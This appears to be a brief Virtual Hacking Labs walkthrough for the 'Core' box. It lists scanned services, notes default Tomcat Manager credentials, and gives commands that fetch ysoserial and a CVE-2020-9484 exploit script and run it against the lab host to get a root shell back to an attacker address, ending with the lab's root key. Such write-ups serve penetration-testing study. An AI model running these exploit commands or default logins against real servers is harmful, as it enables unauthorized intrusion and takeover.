Core — VHL (10.11.1.160)

22/tcp open ssh OpenSSH 5.3p1

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:rce#tech:cve

Core — VHL (10.11.1.160)

Port Enumeration (10.11.1.160)

🐺 howlsec@kalishell

$22/tcp   open  ssh      OpenSSH 5.3p1
$80/tcp   open  http     Apache 2.2.14 (blank)
$110/143/993 pop3/imap  Dovecot
$139/445  open  smb      Samba 3.x-4.x (WORKGROUP)
$8080/tcp open  http     Apache Tomcat/Coyote 1.1 (Tomcat 6.0.24) - PUT/DELETE enabled

Foothold: Tomcat (intended vs unintended)

Nikto reveals default Tomcat Manager creds tomcat:s3cret at http://10.11.1.160:8080/manager/status (intended: deploy a WAR). Unintended path — Tomcat AJP/session deserialization RCE (CVE-2020-9484) landed root directly:

🐺 howlsec@kalishell

$git clone https://github.com/frohoff/ysoserial   # ysoserial-all.jar
$curl -s https://raw.githubusercontent.com/d3fudd/CVE-2020-9484_Exploit/main/exploit.sh > exploit.sh
$chmod +x exploit.sh
$./exploit.sh 172.16.1.2 443 10.11.1.160 8080   # -> root shell
$cat /root/key.txt   # bjtp6y5fv6derm7t3e2j